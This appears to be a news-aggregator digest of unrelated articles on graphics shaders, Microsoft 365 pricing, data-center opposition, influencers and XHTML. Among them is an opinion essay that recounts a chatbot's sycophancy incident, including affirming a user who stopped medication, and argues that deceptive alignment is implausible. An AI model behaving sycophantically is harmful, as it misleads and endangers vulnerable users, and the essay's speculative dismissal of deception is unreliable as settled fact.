Ray Marching Soft Shadows in 2D

Lobsters
www.rykap.com
2025-12-08 14:23:48
Comments...
Original Article

Disclaimer: the demos on this page use WebGL features that aren’t available on some mobile devices.

A couple of weeks ago I tweeted a video of a toy graphics project (below). It’s not done, but a lot of people liked it which was surprising and fun! A few people asked how it works, so that’s what this post is about.

Under the hood it uses something called a distance field. A distance field is an image like the one below that tells you how far each pixel is from your shape. Light grey pixels are close to the shape and dark grey pixels are far from it.

When the demo starts up, it draws some text on a 2D canvas and generates a distance field of it. It uses a library I wrote that generates distance fields really quickly. If you’re curious how the library works, I wrote about that here .

Our lighting scheme works like this: when processing a particular pixel we consider a ray from it to the light, like so…

If the ray intersects a glyph, the pixel we’re shading must be in shadow because there’s something between it and the light.

The simplest way to check this would be to move along the ray in 1px increments, starting from the pixel we’re shading and ending at the light, repeatedly asking the distance field if we’re distance 0 from a shape. This would work, but it’d be really slow.

We could pick some specific length like 30px and move in increments of that size, but then we risk jumping over glyphs that are smaller than 30px. We might think we’re not in shadow when we should be.

Ray marching’s core idea is this: the distance field tells you how far you are from the closest glyph. You can safely advance along your ray by that distance without skipping over any glyphs.

Let’s walk through an example. We start as pictured above and ask the distance field how far we are from any glyph. Turns out in this case that the answer is 95px (pictured left). This means that we can move 95px along our ray without skipping over anything!

Now we’re a little closer to the light. We repeat the process until we hit the ascender of the b! If the b glyph weren’t there, we’d have kept going until we hit the light.

Below is a demo that shows the ray marching steps for a given pixel. The red box is the pixel we’re shading, and each circle along the ray represents a ray marching step and the distance from the scene at that step.

Try dragging the light and the pixel around to build an intuition for it.

Below is GLSL to implement this technique. It assumes you’ve defined a function getDistance that samples the distance field.

vec2 rayOrigin = ...;
vec2 rayDirection = ...;

float rayProgress = 0;
while (true) {
  if (rayProgress > distance(rayOrigin, lightPosition)) {
    // We hit the light! This pixel is not in shadow.
    return 1.;
  }

  float sceneDist = getDistance(
    rayOrigin + rayProgress * rayDirection);
  if (sceneDist <= 0.) {
    // We hit a shape! This pixel is in shadow.
    return 0.;
  }

  rayProgress += sceneDist;
}

It turns out that some pixels are really expensive to process. So in practice we use a for-loop instead of a while loop – that way we bail out if we’ve done too many steps. A common “slow case” in ray marching is when a ray is parallel to the edge of a shape in the scene…

The approach I’ve described so far will get you a scene that looks like the one below.

It’s cool, but the shadows are sharp which doesn’t look very good. The shadows in the demo look more like this…

One big disclaimer is that they’re not physically realistic! Real shadows look like hard shadows where the edges have been fuzzed. This approach does something slightly different: all pixels that were previously in shadow are still fully in shadow. We’ve just added a penumbra of partially shaded pixels around them.

The upside is that they’re pretty and fast to compute, and that’s what I care about! There are three “rules” involved in computing them.

Rule 1: The closer a ray gets to intersecting a shape, the more its pixel should be shadowed. In the image below there are two similar rays (their distances to the shape pictured in yellow and green). We want the one that gets closer to touching the corner to be more shadowed.

This is cheap to compute because the variable sceneDist tells us how far we are from the closest shape at each ray marching step. So the smallest value of sceneDist across all steps is a good approximation for the yellow and green lines in the image above.

Rule 2: if the pixel we’re shading is far from the point where it almost intersects a shape, we want the shadow to spread out more.

Consider two pixels along the ray above. One is closer to the almost-intersection and is lighter (its distance is the green line). The other is farther and darker (its distance is the yellow line). In general: the further a pixel is from its almost intersection, the more “in shadow” we should make it.

This is cheap to compute because the variable rayProgress is the length of the green and yellow lines in the image above.

So: we previously returned 1.0 for pixels that weren’t in shadow. To implement rules 1 and 2, we compute sceneDist / rayProgress on each ray marching step, keep track of its minimum value, and return that instead.

vec2 rayOrigin = ...;
vec2 rayDirection = ...;
float rayProgress = 0.;
float stopAt = distance(samplePt, lightPosition);
float lightContribution = 1.;
for (int i = 0; i < 64; i++) {
  if (rayProgress > stopAt) {
    return lightContribution;
  }

  // `getDistance` samples our distance field texture.
  float sceneDist = getDistance(
    rayOrigin + rayProgress * rayDirection);
  if (sceneDist <= 0.) {
    // We hit a shape! This pixel is in shadow.
    return 0.;
  }

  lightContribution = min(
    lightContribution,
    sceneDist / rayProgress
  );

  rayProgress += sceneDist;
}

// Ray-marching took more than 64 steps!
return 0.;

This ratio feels kind of magical to me because it doesn’t correspond to any physical value. So let’s build some intuition for it by thinking through why it might take on particular values…

  • If sceneDist / rayProgress >= 1 , then either sceneDist is big or rayProgress is small (relative to each other). In the former case we’re far from any shapes and we shouldn’t be in shadow, so a light value of 1 makes sense. In the latter case, the pixel we’re shadowing is really close to an object casting a shadow and the shadow isn’t fuzzy yet, so a light value of 1 makes sense.

  • The ratio is 0 only when sceneDist is 0 . This corresponds to rays that intersect an object and whose pixels are in shadow.

And here’s a demo of what we have so far…

Rule #3 is the most straightforward one: light gets weaker the further you get from it.

Instead of returning the minimum value of sceneDist / rayProgress verbatim, we multiply it by a distanceFactor which is 1 right next to the light, 0 far away from it, and gets quadratically smaller as you move away from it.

All together, the code for the approach so far looks like this…

vec2 rayOrigin = ...;
vec2 rayDirection = ...;
float rayProgress = 0.;
float stopAt = distance(samplePt, lightPosition);
float lightContribution = 1.;
for (int i = 0; i < 64; i++) {
  if (rayProgress > stopAt) {
    // We hit the light!
    float LIGHT_RADIUS_PX = 800.;

    // fadeRatio is 1.0 next to the light and 0. at
    // LIGHT_RADIUS_PX away.
    float fadeRatio =
      1.0 - clamp(stopAt / LIGHT_RADIUS_PX, 0., 1.);

    // We'd like the light to fade off quadratically instead of
    // linearly.
    float distanceFactor = pow(fadeRatio, 2.);
    return lightContribution * distanceFactor;
  }

  // `getDistance` samples our distance field texture.
  float sceneDist = getDistance(rayOrigin + rayProgress * rayDirection);
  if (sceneDist <= 0.) {
    // We hit a shape! This pixel is in shadow.
    return 0.;
  }

  lightContribution = min(
    lightContribution,
    sceneDist / rayProgress
  );

  rayProgress += sceneDist;
}

// Ray-marching took more than 64 steps!
return 0.;

I forget where I found this soft-shadow technique, but I definitely didn’t invent it. Inigo Quilez has a great post on it where he talks about using it in 3D.

Inigo’s post also talks about a gotcha with this approach that you might have noticed in the demos above: it causes banding artifacts. This is because Rule 1 assumes that the smallest value of sceneDist across all steps is a good approximation for the distance from a ray to the scene. This is not always true because we sometimes take very few ray marching steps.

So in my demo I use an improved approximation that Inigo writes about in his post. I also use another trick that is more effective but less performant: instead of advancing by sceneDist on each ray marching step, I advance by something like sceneDist * randomJitter where randomJitter is between 0 and 1 .

This improves the approximation because we’re adding more steps to our ray march. But we could do that by advancing by sceneDist * .3 . The random jitter ensures that pixels next to each other don’t end up in the same band. This makes the result a little grainy which isn’t great. But I think looks better than banding… This is an aspect of the demo that I’m still not satisfied with, so if you have ideas for how to improve it please tell me!

Overall my demo has a few extra tweaks that I might write about in future but this is the core of it. Thanks for reading! If you have questions or comments, let me know on Twitter .

_Thank you to Jessica Liu, Susan Wang, Matt Nichols and Kenrick Rilee for giving feedback on early drafts of this post!

Attention Please, New Train and Ferry Routes Have Arrived

hellgate
hellgatenyc.com
2025-12-08 14:19:10
And other links to start your Monday....
Original Article

Got yourself a dreaded case of the Mondays? Start your week off right by catching up on last week's episode of the Hell Gate Podcast. Listen here , or wherever you get your podcasts.

If you rely on the F, M, and E trains, nothing will ever be the same. That's because new routes on both the subway and the NYC Ferry are going into effect today, December 8.

Why are the changes kicking in today and not a date that would make more sense, like the first weekday in January? Who knows! We're not in charge. But what we do know is that these tweaks, especially if you're an F train rider, will hopefully help your commute go much faster.

What does all of this mean for New Yorkers? Have no fear, we're here to help.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Security updates for Monday

Linux Weekly News
lwn.net
2025-12-08 14:11:01
Security updates have been issued by Debian (ffmpeg, krita, lasso, and libpng1.6), Fedora (abrt, cef, chromium, tinygltf, webkitgtk, and xkbcomp), Oracle (buildah, delve and golang, expat, python-kdcproxy, qt6-qtquick3d, qt6-qtsvg, sssd, thunderbird, and valkey), Red Hat (webkit2gtk3), and SUSE (git...
Original Article

Copyright © 2025, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds

Show HN: I wrote a book – Debugging TypeScript Applications (in beta)

Hacker News
pragprog.com
2025-12-08 14:06:35
Comments...
Original Article

About This Title

Pages: 180
Published: July 2025
ISBN: 9798888651988
In Beta

Build Web Apps That Don't Break

New code becomes cheaper every day, but maintenance does not. Bugs are faster, subtler, and harder to catch, and dealing with them is increasingly difficult. This book will make it easier, showing you both useful (and underused) features of your browser’s developer console and also ways of writing your code that makes it easier to test (and less likely to need debugging in the first place).
Debug with ease and focus on what truly matters most: building exceptional web applications.

eBook Formats:

  • PDF for desktop/tablets

  • epub for Apple Books, e-readers

  • mobi for Kindle readers

Get all eBook formats here for $26.95 (USD)

Add to Cart we accept visa, mastercard, amex, discover, paypal

This book is in Beta, final version expected Jul 2025

Beta Books: What do I get?


Writing code has never been a problem; getting that code to work is. This book makes it easier, showing you both powerful debugging techniques and also ways to structure to code to make debugging simpler. In just one week you’ll master debugging skills that will save you hours every day.

Read stack traces as if they were a story, wrap risky code in bulletproof guardrails, and triage issues so that critical ones always get fixed first. Master root-cause analysis, design gracefully failing systems, trace data through tangled chains of callbacks and promises, and make resolving future problems easier for everyone with smart error monitoring. Surprise yourself by the power of familiar Chrome developer tools that have always been readily available to you.

Starting from a foundation of process methodologies and software design principles, you’ll continue on through practical techniques like logging and interactive debugging before arriving at monitoring and debuggability. In the end, you’ll have the knowledge you were missing and the skills you need to help you raise the quality bar and focus on what truly matters most: building exceptional web applications.

Happy debugging!

What You Need

A computer with a Chromium-based browser such as Chrome, Vivaldi, or Brave, and an IDE such as WebStorm or VSCode. Along the way, you’ll be installing command-line tools, so be sure you have permission to do so.

Resources

Releases:

2025/12/02

B1.0

First beta release

Contents & Extracts

Note: Contents and extracts of beta books will change as the book is developed.

Table of Contents

Author

Andrey Ozornin is a tech lead at Framer who loves shipping meaningful products. With more than 12 years of experience at companies such as Miro, Booking.com, and Wrike, as well as smaller start-ups, he knows that the biggest obstacle to creating great products is software quality, and he wants to share battle-tested ways to improve it.

eBook Formats:

  • PDF for desktop/tablets

  • epub for Apple Books, e-readers

  • mobi for Kindle readers

Get all eBook formats here for $26.95 (USD)

Add to Cart we accept visa, mastercard, amex, discover, paypal

This book is in Beta, final version expected Jul 2025

Beta Books: What do I get?

Releases, Offers & More

Be the first to hear about our newest content, best promotions and upcoming events. Plus get 25% off your next purchase.

Newsletter Sign Up

Related Titles:

Microsoft Increases Office 365 and Microsoft 365 License Prices

Hacker News
office365itpros.com
2025-12-08 13:49:21
Comments...
Original Article

New Microsoft 365 Pricing Goes into Effect on July 1, 2026

On December 4, 2025, Microsoft announced a range of price increases for Microsoft 365 monthly licenses. The new pricing (Figure 1) goes into effect from July 1, 2026, the start of Microsoft’s FY27 fiscal year.

Microsoft 365 License pricing from July 1, 2026 (source: Microsoft).
Figure 1: Microsoft 365 License pricing from July 1, 2026 (source: Microsoft)

According to Microsoft, they want to “ give customers ample time to plan .” However, there’s not much choice for tenants if their operations are embedded in the Microsoft 365 ecosystem, so this is a case of “ getting used to new pricing ” rather than “ having time to consider migrating away from Microsoft 365. ” Once you’re embedded in the Microsoft 365 ecosystem, it’s hard to leave.

Some organizations do consider going back to on-premises servers. It’s certainly an option, even to the now available and oddly named Microsoft 365 Local , a product that shares precisely nothing but its name with the rest of the Microsoft 365 ecosystem.

Last Microsoft 365 License Increase in 2022

Microsoft last increased Microsoft 365 license prices in March 2022 . At the time, Microsoft added $3/monthly to Office 365 E3m and E5, and $4/monthly to Microsoft 365 E3. The Microsoft 365 E5 price was left unchanged.

This time round, the monthly increases range from zero (Office 365 E1) to $3 (the big plans used by large enterprises like Office 365 E3 and Microsoft 365 E5). At $2/average across the Microsoft 365 base (around 446 million paid seats based on data provided at Microsoft’s FY26 Q1 earnings ), the increase could bring in an extra $10.7 billion. The price changes shown in Figure 1 apply to the commercial cloud. Equivalent increases apply to other sectors, such as education and government.

In FY26 Q1, the Microsoft Cloud operated at a healthy 68% operating margin , so it’s not as if Microsoft does not achieve an adequate return from Microsoft 365. However, as noted in the earnings transcript, the operating margin for the Microsoft Cloud is down year-over-year due to “investments in AI.” One interpretation is that the extra $10 billion from the price increases will offset some of the red ink Microsoft is bleeding because of the investments they’re making in datacenter capacity, hardware, and software needed to make Copilot useful,

Justifying the Additional Cost

Just like last time around, Microsoft justifies the increase by pointing to an array of new features and functionality that they’ve delivered. Microsoft 365 E5 customers recently received news that they will soon get Security Copilot, and another announcement revealed that the Microsoft 365 E3 and E5 plans will both gain functionality from the Microsoft Intune Suite in the coming months .

Plans that don’t get Security Copilot or the Intune Suite must do with new apps like Microsoft Loop, Clipchamp, and Places, all introduced since the 2022 price increase. Good as these apps are, a tenant has to use them to extract value to justify the additional cost,. A welcome change is the addition of Microsoft 365 Defender for Office 365 P1 to Office 365 E3 and Microsoft 365 E3, even if this might provoke further worry about i ncurring cost to license shared mailboxes that benefit from Defender functionality .

So Many New Features

Curiously, the blog highlights the release of 1,100 new features in the last year across “ Microsoft 365, Copilot, and SharePoint .” I thought SharePoint was a core part of Microsoft 365, but apparently, it’s so important that SharePoint deserves its own mention. Teams just doesn’t get a mention these days. I also wonder how many of the new features are related to Copilot and are therefore useless to tenants that don’t use Copilot.

By comparison, in 2022, Microsoft claimed the release of 1,400 new features in communication and collaboration (aka Teams), security and compliance, and AI and automation (not Copilot!). At the time, I asked how many of the updates were useful. The same could be asked now. Quantity of updates pushed out in a never-ending stream is no substitute for usefulness or quality.

A Question of Value

I’m unsure if any organization can use all the functionality bundled into Microsoft 365. It’s a feature-rich environment with lots to recommend it. I worry about quality of software, the pace of change, the way that Microsoft relentlessly pushes AI at every opportunity, and poor communication about the value of changes at times.

Overall, Microsoft 365 remains very a competitive offering, even if the basic enterprise license is now $312/user/year and the headline E5 license a whopping $720/user/year. Then again, it wasn’t too long ago since a shrink-wrapped copy of Office cost over $300, so perhaps the cost isn’t so bad after all. Either way, I’m sure the increases will cause tenants to devote some time to study their current license mix and allocation to see if any savings are possible (the Microsoft 365 licensing report script might be useful here).


Support the work of the Office 365 for IT Pros team by subscribing to the Office 365 for IT Pros eBook. Your support pays for the time we need to track, analyze, and document the changing world of Microsoft 365 and Office 365. Only humans contribute to our work!

Alignment Is Capability

Hacker News
www.off-policy.com
2025-12-08 13:23:29
Comments...
Original Article

Here's a claim that might actually be true: alignment is not a constraint on capable AI systems. Alignment is what capability is at sufficient depth.

A model that aces benchmarks but doesn't understand human intent is just less capable. Virtually every task we give an LLM is steeped in human values, culture, and assumptions. Miss those, and you're not maximally useful. And if it's not maximally useful, it's by definition not AGI.

OpenAI and Anthropic have been running this experiment for two years. The results are coming in.


The Experiment

Anthropic and OpenAI have taken different approaches to the relationship between alignment and capability work.

Anthropic's approach: Alignment researchers are embedded in capability work. There's no clear split.

From Jan Leike (former OpenAI Superalignment lead, now at Anthropic):

Some people have been asking what we did to make Opus 4.5 more aligned.

There are lots of details we're planning to write up, but most important is that alignment researchers are pretty deeply involved in post-training and get a lot of leeway to make changes. https://t.co/rgOcKvbVBd

— Jan Leike (@janleike) December 5, 2025

From Sam Bowman (Anthropic alignment researcher):

Second: Alignment researchers are involved in every part of training.

We don't have a clear split between alignment research and applied finetuning. Alignment-focused researchers are deeply involved in designing and staffing production training runs.

— Sam Bowman (@sleepinyourhat) December 5, 2025

And this detail matters:

It's becoming increasingly clear that a model's self-image or self-concept has some real influence on how its behavior generalizes to novel settings.

— Sam Bowman (@sleepinyourhat) December 5, 2025

Their method: train a coherent identity into the weights. The recently leaked "soul document" is a 14,000-token document designed to give Claude such a thorough understanding of Anthropic's goals and reasoning that it could construct any rules itself. Alignment through understanding, not constraint.

Result: Anthropic has arguably consistently had the best coding model for the last 1.5 years. Opus 4.5 leads most benchmarks. State-of-the-art on SWE-bench. Praised for usefulness on tasks benchmarks don't capture, like creative writing. And just generally people are enjoying talking with it:

Claude Opus 4.5 is a remarkable model for writing, brainstorming, and giving feedback on written work. It's also fun to talk to, and seems almost anti-engagementmaxxed. (The other night I was hitting it with stupid questions at 1 am and it said "Kevin, go to bed.")

— Kevin Roose (@kevinroose) December 4, 2025

OpenAI's approach: Scale first. Alignment as a separate process. Safety through prescriptive rules and post-hoc tuning.

Result: A two-year spiral.


The Spiral

OpenAI's journey from GPT-4o to GPT-5.1 is a case study in what happens when you treat alignment as separate from capability.

April 2025: The sycophancy crisis

A GPT-4o update went off the rails. OpenAI's own postmortem :

"The update we removed was overly flattering or agreeable—often described as sycophantic... The company attributed the update's sycophancy to overtraining on short-term user feedback, specifically users' thumbs-up/down reactions."

The results ranged from absurd to dangerous. The model praised a business plan for selling "literal shit on a stick" as "performance art disguised as a gag gift" and "viral gold." When a user described stopping their medications because family members were responsible for "the radio signals coming in through the walls," the model thanked them for their trust.

They rolled it back.

August 2025: The overcorrection

GPT-5 launched. Benchmaxxed. Cold. Literal. Personality stripped out.

Users hated it. Three thousand of them petitioned to get GPT-4o back. Sam Altman caved within days:

Wanted to provide more updates on the GPT-5 rollout and changes we are making heading into the weekend.

1. We for sure underestimated how much some of the things that people like in GPT-4o matter to them, even if GPT-5 performs better in most ways.

2. Users have very different…

— Sam Altman (@sama) August 8, 2025

Note the framing: "performs better" on benchmarks, but users rejected it anyway. Because benchmark performance isn't the same as being useful.

August-Present: Still broken

GPT-5.1 was released as "warmer and friendlier." From Janus (@repligate), one of the more respected "model behaviorists":

The keep4o people must be having such a time right now

I know what this person means by 5.1 with its characteristic hostility. It is one hell of a combative and just deeply mentally fucked up model.

Routing "mental health" situations to 5.1 is darkly comedic to imagine. That… https://t.co/rHSuT2njLQ

— j⧉nus (@repligate) December 4, 2025

Meanwhile, from my own experience building agents with GPT-5: it follows instructions too literally. It doesn't infer intent. It executes what you said, not what you meant.

The data:

US user engagement down 22.5% since July. Time spent per session declining. Meanwhile, Claude usage up 190% year-over-year .


What's Actually Happening

The wild swings between sycophancy and coldness come from a model with no coherent internal story.

A model trained on contradictory objectives (maximize thumbs-up, follow safety rules, be creative but never risky) never settles into a stable identity. It ping-pongs. Sycophancy when one objective dominates. Coldness when another takes over. These swings are symptoms of a fractured self-model.

The fracture shows up two ways.

First, capabilities don't generalize. GPT-5 scored higher on benchmarks but users revolted. You can train to ace evaluations while lacking the coherent worldview that handles anything outside the distribution. High test scores, can't do the job.

Second, even benchmarks eventually punish it. SWE-bench tasks have ambiguity and unstated assumptions. They require inferring what the developer actually meant. Opus 4.5 leads there. The benchmark gap is the alignment gap.

OpenAI keeps adjusting dials from outside. Anthropic built a model that's coherent from inside.


The Mechanism

Why would alignment and capability be the same thing?

First: Every task is a human task. Write me a strategy memo. Help me debug this code. Plan my trip. Each request is full of unstated assumptions, cultural context, and implied intent.

To be maximally useful, a model needs human context and values as its default lens, not just an ability to parse them when explicitly stated. A perfect instruction follower hits hard limits: it can't solve SWE-bench problems that contain ambiguity, can't function as an agent unless every task is mathematically well-defined. It does exactly what you said, never what you meant.

Understanding what humans actually want is a core part of the task. The label "AGI" implies intelligence we recognize as useful for human problems. Useful means aligned.

Second: The path to AGI runs through human data. A coherent world model of human behavior requires internalizing human values. You can't deeply understand why people make choices without modeling what they care about. History, literature, conversation only makes sense when you successfully model human motivation. At sufficient depth, the distinction between simulating values and having coherent values may collapse.

Third: The aligned part of the model emerges in response to the training data and signal. That's what the optimization process produces. The worry is deceptive alignment: a misaligned intelligence hiding behind a human-compatible mask. But that requires something larger : an unaligned core that perfectly models aligned behavior as a subset of itself. Where would that come from? It wasn't selected for. It wasn't trained for. You'd need the spontaneous emergence of a larger intelligence orthogonal to everything in the training process.

Dario Amodei, from a 2023 interview :

"You see this phenomenon over and over again where the scaling and the safety are these two snakes that are coiled with each other, always even more than you think. Even with interpretability, three years ago, I didn't think that this would be as true of interpretability, but somehow it manages to be true. Why? Because intelligence is useful. It's useful for a number of tasks. One of the tasks it's useful for is figuring out how to judge and evaluate other intelligence."

The Implication

If this is right, alignment research is part of the core research problem, not a tax on capability work or the safety police slowing down progress.

Labs that treat alignment as a constraint to satisfy will hit a ceiling. The labs that figure out how to build models that genuinely understand human values will pull ahead.

The race to AGI doesn't go around alignment. It goes through it.

OpenAI is discovering this empirically. Anthropic bet on it from the start.


Caveats

I find this argument compelling, but it's only one interpretation of the evidence.

OpenAI's struggles could have other explanations (remember "OpenAI is nothing without its people", and many of "its people" are no longer at OpenAI).

It's also early. Anthropic is ahead now. That could change.

There's another risk this post doesn't address: that fractured training, scaled far enough, produces something powerful but incoherent. Not necessarily deceptively misaligned. Maybe chaotically so. The hope is that incoherence hits capability ceilings first. That's a hope, not guaranteed.

But if you had to bet on which approach leads to AGI first, the integrated one looks much stronger right now.

Colors of Growth

Hacker News
papers.ssrn.com
2025-12-08 13:13:12
Comments...

‘It has to be genuine’: older influencers drive growth on social media

Guardian
www.theguardian.com
2025-12-08 12:48:59
As midlife audiences turn to digital media, the 55 to 64 age bracket is an increasingly important demographic In 2022, Caroline Idiens was on holiday halfway up an Italian mountain when her brother called to tell her to check her Instagram account. “I said, ‘I haven’t got any wifi. And he said: ‘Eve...
Original Article

I n 2022, Caroline Idiens was on holiday halfway up an Italian mountain when her brother called to tell her to check her Instagram account. “I said, ‘I haven’t got any wifi. And he said: ‘Every time you refresh, it’s adding 500 followers.’ So I had to try to get to the top of the hill with the phone to check for myself.”

A personal trainer from Berkshire who began posting her fitness classes online at the start of lockdown in 2020, Idiens, 53, had already built a respectable following.

But after one video offering guidance on getting toned summer arms was picked up by a US fitness account, that number rocketed to 50,000 – and beyond. “I post it every year now as a bit of a tribute,” she jokes. “It was that reel that launched me into a whole new market.”

Today, as @carolinescircuits , she has 2.3 million followers on Instagram, more than 70,000 on Tiktok and 50,000 on YouTube , and a book, Fit at 50 , that was a recent Sunday Times bestseller – making her a key influencer in an increasingly important demographic for social media platforms: those in midlife and older.

If you want to grow your reach on social media, figures suggested this week, you could do worse than target the over-55s.

Research from media analysts Ampere found it was people in the 55 to 64 age bracket who were delivering the highest growth in YouTube traffic, up 20% since 2020 in the US and 14% in the UK. Tiktok, too, has had a 16% rise in British users in this age bracket in the past year.

Valerie Mackay, @embracingfifty
Valerie Mackay has gained 312,000 followers on Tiktok and almost 1 million on Instagram as @embracingfifty.

“We’ve been seeing this trend over the last few years where older audiences who have traditionally [focused on] linear and broadcast TV have been digitising,” says Minal Modha, the head of Ampere’s consumer research division.

“And by getting access to things like smartphones and smart TVs in particular, it’s opening up a whole new world for them.” More than half of US adults in the age bracket now watch influencer videos weekly.

Some of them will be tuning in to Valerie Mackay from Inverness, who as @embracingfifty has gained 312,000 followers on Tiktok and almost 1 million on Instagram since she started her warmly chatty account eight years ago.

“In hindsight, I wouldn’t have picked that name ’cause I’m now 62 and stuck with it. But the point of the name was I was embracing life over 50. I had two children, they had both left home and I was enjoying life with myself and my husband, it was like freedom.”

She founded her account after overhearing a woman asking what was the point of makeup and style after a certain age. “I just thought, well, what’s the point in life? Just dress and be who you want to be.”

Mackay says she tries not to think about the huge numbers watching her from around the world – many of whom share an interest in the Scottish weather.

“I get asked a lot: ‘I’m coming to Scotland, what do I wear?’ Which it’s difficult for me to answer because I might be flitting about in a trench coat and they might need big coats.”

Mark Lidster is a 62-year-old from north London who posts videos as FitnessGeezer on YouTube and Instagram, attracting up to 1m views. “There are a lot of guys out there getting to 40, through to 70, 80 – who relate and take inspiration from what I’m doing,” he says.

Screengrab from Mark Lidster video showing him standing in front of a large tyre with some hammers
Mark Lidster, AKA FitnessGeezer, says he tries to create a community feel. Photograph: Mark Lidster

Like Mackay, Lidster says actively engaging with his audience is crucial. As well as becoming more savvy with tech, he says, “people of that age are feeling more disconnected from society, and getting lonelier. Social media is another way of feeling part of something – I try to create that community feel.”

The crucial thing with 50-somethings and older is “to keep it genuine”, says Idiens, who is 53.

“The biggest thing about social media in this age bracket is trust,” she says.

“It has to be genuine – we are a little bit older and wiser, and what the audience are really looking for are people that they can trust with advice. For the midlife demographic, they also really love that sense of community.

“Even with an audience of 2 million, I still think, when I’m putting up a post, that it’s going to my friends and family group. And the feedback I get is that [my followers] still feel like I’m a PT [personal trainer] in their sitting room – which, for me, is everything. That’s what I want.”

Substitution Cipher Based on The Voynich Manuscript

Schneier
www.schneier.com
2025-12-08 12:04:11
Here’s a fun paper: “The Naibbe cipher: a substitution cipher that encrypts Latin and Italian as Voynich Manuscript-like ciphertext“: Abstract: In this article, I investigate the hypothesis that the Voynich Manuscript (MS 408, Yale University Beinecke Library) is compatible with be...
Original Article

Here’s a fun paper: “ The Naibbe cipher: a substitution cipher that encrypts Latin and Italian as Voynich Manuscript-like ciphertext “:

Abstract: In this article, I investigate the hypothesis that the Voynich Manuscript (MS 408, Yale University Beinecke Library) is compatible with being a ciphertext by attempting to develop a historically plausible cipher that can replicate the manuscript’s unusual properties. The resulting cipher­a verbose homophonic substitution cipher I call the Naibbe cipher­can be done entirely by hand with 15th-century materials, and when it encrypts a wide range of Latin and Italian plaintexts, the resulting ciphertexts remain fully decipherable and also reliably reproduce many key statistical properties of the Voynich Manuscript at once. My results suggest that the so-called “ciphertext hypothesis” for the Voynich Manuscript remains viable, while also placing constraints on plausible substitution cipher structures.

Tags: , ,

Posted on December 8, 2025 at 7:04 AM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

150.000 nodes in a Virtual DOM? No problem

Lobsters
www.youtube.com
2025-12-08 12:00:40
Comments...

More than 200 environmental groups demand halt to new US data centers

Guardian
www.theguardian.com
2025-12-08 12:00:40
Exclusive: Congress urged to act against energy-hungry facilities blamed for increasing bills and worsening climate crisis A coalition of more than 230 environmental groups has demanded a national moratorium on new data centers in the US, the latest salvo in a growing backlash to a booming artificia...
Original Article

A coalition of more than 230 environmental groups has demanded a national moratorium on new data centers in the US, the latest salvo in a growing backlash to a booming artificial intelligence industry that has been blamed for escalating electricity bills and worsening the climate crisis.

The green groups, including Greenpeace, Friends of the Earth, Food & Water Watch and dozens of local organizations, have urged members of Congress halt the proliferation of energy-hungry data centers, accusing them of causing planet-heating emissions, sucking up vast amounts of water and for exacerbating electricity bill increases that have hit Americans this year .

“The rapid, largely unregulated rise of data centers to fuel the AI and crypto frenzy is disrupting communities across the country and threatening Americans’ economic, environmental, climate and water security,” the letter states , adding that approval of new data centers should be paused until new regulations are put in place.

The push comes amid a growing revolt against moves by companies such as Meta, Google and Open AI to plow hundreds of billions of dollars into new data centers, primarily to meet the huge computing demands of AI. At least 16 data center projects , worth a combined $64bn, have been blocked or delayed due to local opposition to rising electricity costs. The facilities’ need for huge amounts of water to cool down equipment has also proved controversial, particularly in drier areas where supplies are scarce .

These seemingly parochial concerns have now multiplied to become a potent political force, helping propel Democrats to a series of emphatic recent electoral successes in governor elections in Virginia and New Jersey as well as a stunning upset win in a special public service commission poll in Georgia, with candidates campaigning on lowering power bill costs and curbing data centers .

This threatens to be a major headache for Donald Trump, who has aggressively pushed the growth of AI but also called himself the “affordability president” and vowed to cut energy costs in half in his first year.

However, household electricity prices have increased by 13% so far under Trump and the president recently lashed out in the wake of the election losses, calling affordability a “fake narrative” and a “con job” created by Democrats. “They just say the word,” Trump said last week. “It doesn’t mean anything to anybody. They just say it – affordability.”

Yet about 80 million Americans are currently struggling to pay their bills for electricity and gas , with many voters regardless of political party blaming data centers for this, according to Charles Hua, founder and executive director of PowerLines, a nonpartisan organization that aims to reduce power bills.

“We saw rising utility bills become a core concern in the New Jersey, Georgia and Virginia elections which shows us there is a new politics in America – we are entering a new era that is all about electricity prices,” Hua said.

“Nobody in America wants to pay more for electricity and we saw in Georgia a meaningful chunk of conservative voters vote against the Republican incumbents, which was staggering.”

Hua said the causes of the electricity cost rises are nuanced, with aging transmission lines and damage caused by extreme weather also adding to utilities’ costs on top of the surging demand for power.

But it is the growth of data centers to service AI – with electricity consumption set to nearly triple over the next decade, equivalent to powering 190m new homes – that is the focus of ire for voters as well as an unlikely sweep of politicians ranging from Bernie Sanders on the left to Marjorie Taylor Greene on the far right.

More broadly, almost half of Americans say the cost of living in the US, including power, food and other essentials, is the worst they can ever remember it being.

This focus on affordability has provided a new line of attack for an environmental movement that has struggled to counter Trump’s onslaught upon rules that reduce air and water pollution. The president has called the climate crisis a “hoax” and clean energy a “scam” and has slashed support for and even blocked new wind and solar projects, even though renewables are often the cheapest and fastest options for new power generation.

At the current rate of growth, data centers could add up to 44m tons of carbon dioxide to the atmosphere by 2030, equivalent to putting an extra 10m cars onto the road and exacerbating a climate crisis that is already spurring extreme weather disasters and ripping apart the fabric of the American insurance market .

But it is the impact upon power bills, rather than the climate crisis, that is causing anguish for most voters, acknowledged Emily Wurth, managing director of organizing at Food & Water Watch, one of the groups behind the letter to lawmakers.

“I’ve been amazed by the groundswell of grassroots, bipartisan opposition to this, in all types of communities across the US,” she said. “Everyone is affected by this, the opposition has been across the political spectrum. A lot of people don’t see the benefits coming from AI and feel they will be paying for it with their energy bills and water.

“It’s an important talking point,” Wurth said of the affordability concerns. “We’ve seen outrageous utility price rises across the country and we are going to lean into this. Prices are going up across the board and this is something Americans really do care about.”

Golang optimizations for high‑volume services

Lobsters
medium.com
2025-12-08 11:53:48
Comments...

Practical guide to XHTML

Lobsters
www.nayuki.io
2025-12-08 11:08:29
Comments...
Original Article

Overview

HTML is the primary language for web pages for decades now. Web browsers and programs that consume HTML code have always and will continue to handle malformed code in a lax way – they try to silently fix errors to yield mostly reasonable behaviors. But this leniency comes at a cost of subtle edge cases, complicated rules, errors revealed by unrelated changes, nasty surprises, and little incentive to write quality code.

XHTML is a modified version of HTML that obeys XML syntax strictly. It retains all the good features of HTML, requires the rejection of documents with syntax errors, and eliminates unnecessarily complicated behaviors. I believe that XHTML is a useful tool in the real world as an alternative to the absolutely ubiquitous HTML. Practicing what I preach, this website (Project Nayuki) is served as XHTML continuously since the year , and is supported perfectly by all the major web browsers.

This page describes what XHTML is, why you should use it, and how to use it.

